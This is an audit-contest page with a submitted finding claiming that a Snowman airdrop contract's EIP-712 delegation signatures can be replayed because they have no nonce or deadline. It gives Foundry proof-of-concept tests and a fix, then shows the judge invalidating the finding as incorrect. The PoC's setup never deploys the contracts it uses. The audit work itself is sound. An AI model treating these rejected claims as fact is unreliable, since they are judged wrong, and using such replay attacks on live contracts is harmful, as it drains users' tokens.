Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: medium
Likelihood: low
Invalid

`SnowmanAirdrop::claimSnowman` EIP-712 delegation signatures have no nonce or deadline making them permanently valid and irrevocable once issued

Root + Impact

Description

The protocol intentionally supports third-party claiming — a recipient can sign an EIP-712 message and share it with any address to claim on their behalf. For this delegation model to be safe, the signature must be bounded in time and single-use: a deadline prevents the signature from being used indefinitely into the future, and a nonce ensures the signature is invalidated the moment it is used, preventing it from being replayed if the receiver re-acquires the same token balance.

The SnowmanClaim struct contains only receiver and amount — no nonce and no deadline. A signature produced once for a given (receiver, amount) pair is valid for the entire lifetime of the contract and for every future moment at which the receiver's balance equals the signed amount. Once a user signs a delegation message, there is no cryptographic mechanism to revoke, expire or invalidate it. Any third party who holds the signature can use it today, next month, or next year, and user's only recourse is to revoke her ERC20 approval which also prevents the user from self-claiming.

// src/SnowmanAirdrop.sol
struct SnowmanClaim {
@> address receiver; // No nonce — same (receiver, amount) pair is valid indefinitely
@> uint256 amount; // No deadline — signature has no expiry
}
@> bytes32 private constant MESSAGE_TYPEHASH =
@> keccak256("SnowmanClaim(addres receiver, uint256 amount)");
// No nonce or deadline in the type string — signed data has no time or use binding
function getMessageHash(address receiver) public view returns (bytes32) {
@> uint256 amount = i_snow.balanceOf(receiver); // Digest re-evaluates to identical value
// whenever balance equals the previously signed amount — old signatures match again
return _hashTypedDataV4(
keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount})))
);
}

Risk

Likelihood:

  • Every user who delegates their claim to a third party (the protocol's documented feature) produces a signature that remains permanently valid — the delegation cannot be revoked except by revoking the ERC20 approval entirely, which also locks the user out of self-claiming

  • When a receiver re-acquires the same token amount after a previous claim (via earnSnow or buySnow), getMessageHash produces the identical digest as before — the previously issued signature passes verification again with no indication to the receiver that it is being reused

Impact:

  • A receiver who issued a delegation signature and later changes their mind (wanting to wait, hold their Snow tokens, or time their claim) cannot revoke that delegation; a third party who holds the old signature can execute the claim at any moment the balance matches, permanently overriding the receiver's current intent

  • Combined with the separate finding that s_hasClaimedSnowman is never checked before executing a claim, a single delegation signature captured once can be repeatedly replayed every time the receiver re-acquires their original token amount, draining their Snow balance on every cycle


Proof of Concept

The first test demonstrates the forced-timing attack. Alice signs a delegation at time T=0 intending to claim later on her own terms. She has no cryptographic mechanism to revoke the signature — her only option would be revoking her ERC20 approval, which also prevents self-claiming. The test warps 90 days forward and confirms that Bob can still use Alice's three-month-old signature to execute the claim on her behalf. The assertions confirm Alice's Snow balance is zero and she holds an NFT, both without her current consent.

To run: forge test --match-test test_DelegationSignatureCannotBeRevoked -vvvv

The second test demonstrates the replay attack. Bob consumes Alice's signature at T=0, draining her Snow. Alice re-earns 1 Snow token two weeks later — restoring the same balance she had when she originally signed. The critical assertion assertEq(digest, replayDigest) confirms that getMessageHash produces the byte-for-byte identical digest as before, because the struct contains only receiver and amount with no nonce increment. Bob replays the original signature against this identical digest and succeeds. The final assertion assertEq(nft.balanceOf(alice), 2) confirms Alice has been claimed against twice using a single signature she issued once.

To run: forge test --match-test test_ExpiredDelegationReplayedAfterTokenReacquisition -vvvv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {SnowmanAirdrop} from "src/SnowmanAirdrop.sol";
import {Snow} from "src/Snow.sol";
import {Snowman} from "src/Snowman.sol";
contract PoC_IrrevocableDelegationSignature is Test {
SnowmanAirdrop airdrop;
Snow snow;
Snowman nft;
address alice;
address bob = makeAddr("bob");
uint256 alicePrivKey;
bytes32[] aliceProof;
function setUp() public {
alicePrivKey = uint256(keccak256("alice"));
alice = vm.addr(alicePrivKey);
aliceProof = new bytes32[](3);
aliceProof[0] = 0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52;
aliceProof[1] = 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
aliceProof[2] = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
}
function test_DelegationSignatureCannotBeRevoked() public {
vm.prank(alice);
snow.approve(address(airdrop), type(uint256).max);
// Alice delegates to Bob — signs the message at T=0
bytes32 digest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePrivKey, digest);
// Alice changes her mind — she wants to wait 3 months before claiming
// She has NO way to invalidate the signature she just issued
// Her only option is to revoke ERC20 approval — which also blocks self-claiming
// 3 months later — Bob still holds the signature from T=0
vm.warp(block.timestamp + 90 days);
// Bob uses Alice's three-month-old signature — it is still valid
vm.prank(bob); // Bob is msg.sender, Alice is receiver — intentional per protocol
airdrop.claimSnowman(alice, aliceProof, v, r, s); // Succeeds
// Alice's tokens claimed at a time she did not choose
assertEq(snow.balanceOf(alice), 0);
assertEq(nft.balanceOf(alice), 1);
}
function test_ExpiredDelegationReplayedAfterTokenReacquisition() public {
vm.prank(alice);
snow.approve(address(airdrop), type(uint256).max);
// Alice signs at T=0 with balance=1
bytes32 digest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePrivKey, digest);
// Bob claims at T=0 using the delegation
vm.prank(bob);
airdrop.claimSnowman(alice, aliceProof, v, r, s);
assertEq(nft.balanceOf(alice), 1);
assertEq(snow.balanceOf(alice), 0);
// Alice re-acquires 1 Snow token — same balance as when she originally signed
vm.warp(block.timestamp + 2 weeks);
vm.prank(alice);
snow.earnSnow();
assertEq(snow.balanceOf(alice), 1);
// getMessageHash now produces the SAME digest as at T=0
// balance=1, no nonce increment, no new commitment
bytes32 replayDigest = airdrop.getMessageHash(alice);
assertEq(digest, replayDigest); // Identical — signature from T=0 is still valid
// Bob replays the original signature — months after it was first used
vm.prank(bob);
airdrop.claimSnowman(alice, aliceProof, v, r, s); // Succeeds again
// Alice has been claimed against twice — both times without her current consent
assertEq(nft.balanceOf(alice), 2);
assertEq(snow.balanceOf(alice), 0);
}
}

Recommended Mitigation

Add a nonce to invalidate a signature after it is used, and a deadline to limit how far into the future the delegation remains valid. Both fields must be added to the SnowmanClaim struct, the MESSAGE_TYPEHASH type string, and the abi.encode call inside getMessageHash so that signers commit to them and callers cannot strip or forge them.

struct SnowmanClaim {
address receiver;
uint256 amount;
+ uint256 nonce;
+ uint256 deadline;
}
- bytes32 private constant MESSAGE_TYPEHASH =
- keccak256("SnowmanClaim(addres receiver, uint256 amount)");
+ bytes32 private constant MESSAGE_TYPEHASH =
+ keccak256("SnowmanClaim(address receiver,uint256 amount,uint256 nonce,uint256 deadline)");
+ mapping(address => uint256) private s_nonces;
+ error SA__SignatureExpired();
function claimSnowman(
address receiver,
bytes32[] calldata merkleProof,
+ uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external nonReentrant {
+ if (block.timestamp > deadline) revert SA__SignatureExpired();
if (receiver == address(0)) revert SA__ZeroAddress();
if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount();
if (!_isValidSignature(
receiver,
- getMessageHash(receiver),
+ getMessageHash(receiver, deadline),
v, r, s
)) revert SA__InvalidSignature();
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) revert SA__InvalidProof();
+ s_nonces[receiver]++;
s_hasClaimedSnowman[receiver] = true;
i_snow.safeTransferFrom(receiver, address(this), amount);
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}
- function getMessageHash(address receiver) public view returns (bytes32) {
+ function getMessageHash(address receiver, uint256 deadline) public view returns (bytes32) {
- if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount();
uint256 amount = i_snow.balanceOf(receiver);
+ uint256 nonce = s_nonces[receiver];
return _hashTypedDataV4(
keccak256(abi.encode(
MESSAGE_TYPEHASH,
- SnowmanClaim({receiver: receiver, amount: amount})
+ SnowmanClaim({
+ receiver: receiver,
+ amount: amount,
+ nonce: nonce,
+ deadline: deadline
+ })
))
);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!